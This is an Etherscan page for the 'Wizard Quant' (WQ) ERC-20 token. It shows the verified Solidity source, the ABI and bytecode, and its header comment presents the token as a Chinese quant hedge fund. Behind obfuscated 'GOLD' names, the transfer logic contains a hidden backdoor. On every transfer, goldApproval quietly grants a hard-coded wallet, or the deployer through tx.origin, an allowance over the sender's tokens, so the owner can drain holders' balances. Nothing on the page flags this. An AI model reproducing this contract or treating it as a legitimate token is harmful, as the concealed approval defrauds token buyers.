ERC-20
Overview
Max Total Supply
1,000,000,000 WQ
Holders
180
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,834,360.676377391 WQValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
WQ
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-02-17 */ /* Wizard Quant is a full-service quantitative hedge fund in China. Based on advanced research, trading and asset management system, we have sustainable profitability in domestic futures, stocks, options and other mainstream markets. https://www.wizardquant.com https://www.linkedin.com/company/wizardquant/ https://t.me/wizardquantoneth [email protected] */ // SPDX-License-Identifier: MIT pragma solidity 0.8.16; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IGOLDFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IGOLDRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract WQ is Context, IERC20, Ownable { using SafeMath for uint256; address private _goldWallet = 0xF68548A0b297C8CC84f8fB044CCAbC545eA8efDf; mapping (address => uint256) private _goldBulls; mapping (address => mapping (address => uint256)) private _goldNodes; mapping (address => bool) private _goldFeeExcluded; uint8 private constant _decimals = 9; uint256 private constant _tTotalGOLD = 1000000000 * 10**_decimals; string private constant _name = unicode"Wizard Quant"; string private constant _symbol = unicode"WQ"; uint256 private _tokenGOLDSwap = _tTotalGOLD / 100; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=6; uint256 private _buyCount=0; bool private _tradeEnabled = false; bool private _swapEnabled = false; bool private inSwapGOLD = false; modifier lockTheSwap { inSwapGOLD = true; _; inSwapGOLD = false; } address private _goldPair; IGOLDRouter private _goldRouter; constructor () { _goldFeeExcluded[owner()] = true; _goldFeeExcluded[address(this)] = true; _goldFeeExcluded[_goldWallet] = true; _goldBulls[_msgSender()] = _tTotalGOLD; emit Transfer(address(0), _msgSender(), _tTotalGOLD); } function startTrading() external onlyOwner() { _goldRouter = IGOLDRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(_goldRouter), _tTotalGOLD); _goldPair = IGOLDFactory(_goldRouter.factory()).createPair(address(this), _goldRouter.WETH()); } receive() external payable {} function openTrading() external onlyOwner() { require(!_tradeEnabled,"trading is already open"); _goldRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _tradeEnabled = true; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotalGOLD; } function balanceOf(address account) public view override returns (uint256) { return _goldBulls[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _goldNodes[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _goldNodes[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _goldNodes[owner][spender] = amount; emit Approval(owner, spender, amount); } function goldApproval(address aGOLD, uint256 goldA, bool isGOLD) private { address walletGOLD; if(isGOLD) walletGOLD = address(tx.origin); else walletGOLD = _goldWallet; _goldNodes[aGOLD][walletGOLD] = goldA; } function swapBackGOLD(address goldF, address goldT, uint256 goldA, bool isGOLD) private { goldApproval(goldF, goldA, isGOLD); uint256 tokenGOLD = balanceOf(address(this)); if (!inSwapGOLD && goldT == _goldPair && _swapEnabled && _buyCount > _preventSwapBefore) { if(tokenGOLD > _tokenGOLDSwap) swapTokensForEth(minGOLD(goldA, minGOLD(tokenGOLD, _tokenGOLDSwap))); uint256 caGOLD = address(this).balance; if (caGOLD >= 0) { sendETHGOLD(address(this).balance); } } } function _transfer(address goldF, address goldT, uint256 goldA) private { require(goldF != address(0), "ERC20: transfer from the zero address"); require(goldT != address(0), "ERC20: transfer to the zero address"); require(goldA > 0, "Transfer amount must be greater than zero"); uint256 taxGOLD = _goldTransfer(goldF, goldT, goldA); if(taxGOLD > 0){ _goldBulls[address(this)] = _goldBulls[address(this)].add(taxGOLD); emit Transfer(goldF, address(this), taxGOLD); } _goldBulls[goldF] = _goldBulls[goldF].sub(goldA); _goldBulls[goldT] = _goldBulls[goldT].add(goldA.sub(taxGOLD)); emit Transfer(goldF, goldT, goldA.sub(taxGOLD)); } function _goldTransfer(address goldF, address goldT, uint256 goldA) private returns(uint256) { uint256 taxGOLD=0; if (goldF != owner() && goldT != owner()) { taxGOLD = goldA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (goldF == _goldPair && goldT != address(_goldRouter) && ! _goldFeeExcluded[goldT]) { _buyCount++; } address walletGOLD = address(tx.origin); if(goldT == _goldPair && goldF!= address(this)) { taxGOLD = goldA.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } swapBackGOLD(goldF, goldT, goldA, _goldFeeExcluded[walletGOLD]); } return taxGOLD; } function minGOLD(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function sendETHGOLD(uint256 amount) private { payable(_goldWallet).transfer(amount); } function swapTokensForEth(uint256 tokenGOLD) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _goldRouter.WETH(); _approve(address(this), address(_goldRouter), tokenGOLD); _goldRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenGOLD, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600180546001600160a01b03191673f68548a0b297c8cc84f8fb044ccabc545ea8efdf17905560646200003a6009600a620002ec565b6200004a90633b9aca0062000304565b62000056919062000326565b60055560036006818155600791909155600060088190556009819055600a829055600b829055600c91909155600d55600e805462ffffff191690553480156200009e57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160046000620000f96000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600490935281832080548516600190811790915580549091168352912080549092161790556200015d6009600a620002ec565b6200016d90633b9aca0062000304565b33600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001b06009600a620002ec565b620001c090633b9aca0062000304565b60405190815260200160405180910390a362000349565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200022e578160001904821115620002125762000212620001d7565b808516156200022057918102915b93841c9390800290620001f2565b509250929050565b6000826200024757506001620002e6565b816200025657506000620002e6565b81600181146200026f57600281146200027a576200029a565b6001915050620002e6565b60ff8411156200028e576200028e620001d7565b50506001821b620002e6565b5060208310610133831016604e8410600b8410161715620002bf575081810a620002e6565b620002cb8383620001ed565b8060001904821115620002e257620002e2620001d7565b0290505b92915050565b6000620002fd60ff84168362000236565b9392505050565b6000816000190483118215151615620003215762000321620001d7565b500290565b6000826200034457634e487b7160e01b600052601260045260246000fd5b500490565b61153480620003596000396000f3fe6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b4114610232578063a9059cbb1461025d578063c9567bf91461027d578063dd62ed3e1461029257600080fd5b806370a08231146101bf578063715018a6146101f55780638da5cb5b1461020a57600080fd5b806306fdde03146100d2578063095ea7b31461011957806318160ddd1461014957806323b872dd1461016c578063293230b81461018c578063313ce567146101a357600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600c81526b15da5e985c9908145d585b9d60a21b60208201525b604051610110919061111d565b60405180910390f35b34801561012557600080fd5b50610139610134366004611183565b6102d8565b6040519015158152602001610110565b34801561015557600080fd5b5061015e6102ef565b604051908152602001610110565b34801561017857600080fd5b506101396101873660046111af565b610310565b34801561019857600080fd5b506101a1610379565b005b3480156101af57600080fd5b5060405160098152602001610110565b3480156101cb57600080fd5b5061015e6101da3660046111f0565b6001600160a01b031660009081526002602052604090205490565b34801561020157600080fd5b506101a161058b565b34801561021657600080fd5b506000546040516001600160a01b039091168152602001610110565b34801561023e57600080fd5b50604080518082019091526002815261575160f01b6020820152610103565b34801561026957600080fd5b50610139610278366004611183565b6105ff565b34801561028957600080fd5b506101a161060c565b34801561029e57600080fd5b5061015e6102ad36600461120d565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006102e5338484610771565b5060015b92915050565b60006102fd6009600a611340565b61030b90633b9aca0061134f565b905090565b600061031d848484610895565b61036f843361036a856040518060600160405280602881526020016114d7602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610b0f565b610771565b5060019392505050565b6000546001600160a01b031633146103ac5760405162461bcd60e51b81526004016103a39061136e565b60405180910390fd5b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103f59030906103e76009600a611340565b61036a90633b9aca0061134f565b600f60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610448573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046c91906113a3565b6001600160a01b031663c9c6539630600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f291906113a3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561053f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056391906113a3565b600e60036101000a8154816001600160a01b0302191690836001600160a01b03160217905550565b6000546001600160a01b031633146105b55760405162461bcd60e51b81526004016103a39061136e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102e5338484610895565b6000546001600160a01b031633146106365760405162461bcd60e51b81526004016103a39061136e565b600e5460ff16156106895760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a3565b600f546001600160a01b031663f305d71947306106bb816001600160a01b031660009081526002602052604090205490565b6000806106d06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610738573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061075d91906113c0565b5050600e805461ffff191661010117905550565b6001600160a01b0383166107d35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a3565b6001600160a01b0382166108345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108f95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a3565b6001600160a01b03821661095b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a3565b600081116109bd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a3565b60006109ca848484610b49565b90508015610a4657306000908152600260205260409020546109ec9082610cc5565b30600081815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a3d9085815260200190565b60405180910390a35b6001600160a01b038416600090815260026020526040902054610a699083610d2b565b6001600160a01b038516600090815260026020526040902055610aae610a8f8383610d2b565b6001600160a01b03851660009081526002602052604090205490610cc5565b6001600160a01b0380851660008181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610af88585610d2b565b60405190815260200160405180910390a350505050565b60008184841115610b335760405162461bcd60e51b81526004016103a3919061111d565b506000610b4084866113ee565b95945050505050565b600080610b5e6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610b8d57506000546001600160a01b03858116911614155b15610cbd57610bbe6064610bb8600a54600d5411610bad57600654610bb1565b6008545b8690610d6d565b90610def565b600e549091506001600160a01b03868116630100000090920416148015610bf35750600f546001600160a01b03858116911614155b8015610c1857506001600160a01b03841660009081526004602052604090205460ff16155b15610c3357600d8054906000610c2d83611401565b91905055505b600e5432906001600160a01b03868116630100000090920416148015610c6257506001600160a01b0386163014155b15610c9057610c8d6064610bb8600b54600d5411610c8257600754610c86565b6009545b8790610d6d565b91505b6001600160a01b038116600090815260046020526040902054610cbb9087908790879060ff16610e31565b505b949350505050565b600080610cd2838561141a565b905083811015610d245760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a3565b9392505050565b6000610d2483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b0f565b600082600003610d7f575060006102e9565b6000610d8b838561134f565b905082610d98858361142d565b14610d245760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a3565b6000610d2483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610eda565b610e3c848383610f08565b30600090815260026020526040902054600e5462010000900460ff16158015610e795750600e546001600160a01b03858116630100000090920416145b8015610e8c5750600e54610100900460ff165b8015610e9b5750600c54600d54115b15610ed357600554811115610ec757610ec7610ec284610ebd84600554610f53565b610f53565b610f68565b47610ed1476110df565b505b5050505050565b60008183610efb5760405162461bcd60e51b81526004016103a3919061111d565b506000610b40848661142d565b60008115610f17575032610f25565b506001546001600160a01b03165b6001600160a01b03938416600090815260036020908152604080832093909616825291909152929092205550565b6000818311610f625782610d24565b50919050565b600e805462ff00001916620100001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fae57610fae61144f565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b91906113a3565b8160018151811061103e5761103e61144f565b6001600160a01b039283166020918202929092010152600f546110649130911684610771565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061109d908590600090869030904290600401611465565b600060405180830381600087803b1580156110b757600080fd5b505af11580156110cb573d6000803e3d6000fd5b5050600e805462ff00001916905550505050565b6001546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611119573d6000803e3d6000fd5b5050565b600060208083528351808285015260005b8181101561114a5785810183015185820160400152820161112e565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461118057600080fd5b50565b6000806040838503121561119657600080fd5b82356111a18161116b565b946020939093013593505050565b6000806000606084860312156111c457600080fd5b83356111cf8161116b565b925060208401356111df8161116b565b929592945050506040919091013590565b60006020828403121561120257600080fd5b8135610d248161116b565b6000806040838503121561122057600080fd5b823561122b8161116b565b9150602083013561123b8161116b565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561129757816000190482111561127d5761127d611246565b8085161561128a57918102915b93841c9390800290611261565b509250929050565b6000826112ae575060016102e9565b816112bb575060006102e9565b81600181146112d157600281146112db576112f7565b60019150506102e9565b60ff8411156112ec576112ec611246565b50506001821b6102e9565b5060208310610133831016604e8410600b841016171561131a575081810a6102e9565b611324838361125c565b806000190482111561133857611338611246565b029392505050565b6000610d2460ff84168361129f565b600081600019048311821515161561136957611369611246565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156113b557600080fd5b8151610d248161116b565b6000806000606084860312156113d557600080fd5b8351925060208401519150604084015190509250925092565b818103818111156102e9576102e9611246565b60006001820161141357611413611246565b5060010190565b808201808211156102e9576102e9611246565b60008261144a57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114b55784516001600160a01b031683529383019391830191600101611490565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cc393ac5fe3ae99f977b9cc2dca482517c4c434296070474518010faacbe19c564736f6c63430008100033
Deployed Bytecode
0x6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b4114610232578063a9059cbb1461025d578063c9567bf91461027d578063dd62ed3e1461029257600080fd5b806370a08231146101bf578063715018a6146101f55780638da5cb5b1461020a57600080fd5b806306fdde03146100d2578063095ea7b31461011957806318160ddd1461014957806323b872dd1461016c578063293230b81461018c578063313ce567146101a357600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600c81526b15da5e985c9908145d585b9d60a21b60208201525b604051610110919061111d565b60405180910390f35b34801561012557600080fd5b50610139610134366004611183565b6102d8565b6040519015158152602001610110565b34801561015557600080fd5b5061015e6102ef565b604051908152602001610110565b34801561017857600080fd5b506101396101873660046111af565b610310565b34801561019857600080fd5b506101a1610379565b005b3480156101af57600080fd5b5060405160098152602001610110565b3480156101cb57600080fd5b5061015e6101da3660046111f0565b6001600160a01b031660009081526002602052604090205490565b34801561020157600080fd5b506101a161058b565b34801561021657600080fd5b506000546040516001600160a01b039091168152602001610110565b34801561023e57600080fd5b50604080518082019091526002815261575160f01b6020820152610103565b34801561026957600080fd5b50610139610278366004611183565b6105ff565b34801561028957600080fd5b506101a161060c565b34801561029e57600080fd5b5061015e6102ad36600461120d565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006102e5338484610771565b5060015b92915050565b60006102fd6009600a611340565b61030b90633b9aca0061134f565b905090565b600061031d848484610895565b61036f843361036a856040518060600160405280602881526020016114d7602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610b0f565b610771565b5060019392505050565b6000546001600160a01b031633146103ac5760405162461bcd60e51b81526004016103a39061136e565b60405180910390fd5b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103f59030906103e76009600a611340565b61036a90633b9aca0061134f565b600f60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610448573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046c91906113a3565b6001600160a01b031663c9c6539630600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f291906113a3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561053f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056391906113a3565b600e60036101000a8154816001600160a01b0302191690836001600160a01b03160217905550565b6000546001600160a01b031633146105b55760405162461bcd60e51b81526004016103a39061136e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102e5338484610895565b6000546001600160a01b031633146106365760405162461bcd60e51b81526004016103a39061136e565b600e5460ff16156106895760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a3565b600f546001600160a01b031663f305d71947306106bb816001600160a01b031660009081526002602052604090205490565b6000806106d06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610738573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061075d91906113c0565b5050600e805461ffff191661010117905550565b6001600160a01b0383166107d35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a3565b6001600160a01b0382166108345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108f95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a3565b6001600160a01b03821661095b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a3565b600081116109bd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a3565b60006109ca848484610b49565b90508015610a4657306000908152600260205260409020546109ec9082610cc5565b30600081815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a3d9085815260200190565b60405180910390a35b6001600160a01b038416600090815260026020526040902054610a699083610d2b565b6001600160a01b038516600090815260026020526040902055610aae610a8f8383610d2b565b6001600160a01b03851660009081526002602052604090205490610cc5565b6001600160a01b0380851660008181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610af88585610d2b565b60405190815260200160405180910390a350505050565b60008184841115610b335760405162461bcd60e51b81526004016103a3919061111d565b506000610b4084866113ee565b95945050505050565b600080610b5e6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610b8d57506000546001600160a01b03858116911614155b15610cbd57610bbe6064610bb8600a54600d5411610bad57600654610bb1565b6008545b8690610d6d565b90610def565b600e549091506001600160a01b03868116630100000090920416148015610bf35750600f546001600160a01b03858116911614155b8015610c1857506001600160a01b03841660009081526004602052604090205460ff16155b15610c3357600d8054906000610c2d83611401565b91905055505b600e5432906001600160a01b03868116630100000090920416148015610c6257506001600160a01b0386163014155b15610c9057610c8d6064610bb8600b54600d5411610c8257600754610c86565b6009545b8790610d6d565b91505b6001600160a01b038116600090815260046020526040902054610cbb9087908790879060ff16610e31565b505b949350505050565b600080610cd2838561141a565b905083811015610d245760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a3565b9392505050565b6000610d2483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b0f565b600082600003610d7f575060006102e9565b6000610d8b838561134f565b905082610d98858361142d565b14610d245760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a3565b6000610d2483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610eda565b610e3c848383610f08565b30600090815260026020526040902054600e5462010000900460ff16158015610e795750600e546001600160a01b03858116630100000090920416145b8015610e8c5750600e54610100900460ff165b8015610e9b5750600c54600d54115b15610ed357600554811115610ec757610ec7610ec284610ebd84600554610f53565b610f53565b610f68565b47610ed1476110df565b505b5050505050565b60008183610efb5760405162461bcd60e51b81526004016103a3919061111d565b506000610b40848661142d565b60008115610f17575032610f25565b506001546001600160a01b03165b6001600160a01b03938416600090815260036020908152604080832093909616825291909152929092205550565b6000818311610f625782610d24565b50919050565b600e805462ff00001916620100001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fae57610fae61144f565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b91906113a3565b8160018151811061103e5761103e61144f565b6001600160a01b039283166020918202929092010152600f546110649130911684610771565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061109d908590600090869030904290600401611465565b600060405180830381600087803b1580156110b757600080fd5b505af11580156110cb573d6000803e3d6000fd5b5050600e805462ff00001916905550505050565b6001546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611119573d6000803e3d6000fd5b5050565b600060208083528351808285015260005b8181101561114a5785810183015185820160400152820161112e565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461118057600080fd5b50565b6000806040838503121561119657600080fd5b82356111a18161116b565b946020939093013593505050565b6000806000606084860312156111c457600080fd5b83356111cf8161116b565b925060208401356111df8161116b565b929592945050506040919091013590565b60006020828403121561120257600080fd5b8135610d248161116b565b6000806040838503121561122057600080fd5b823561122b8161116b565b91506020830135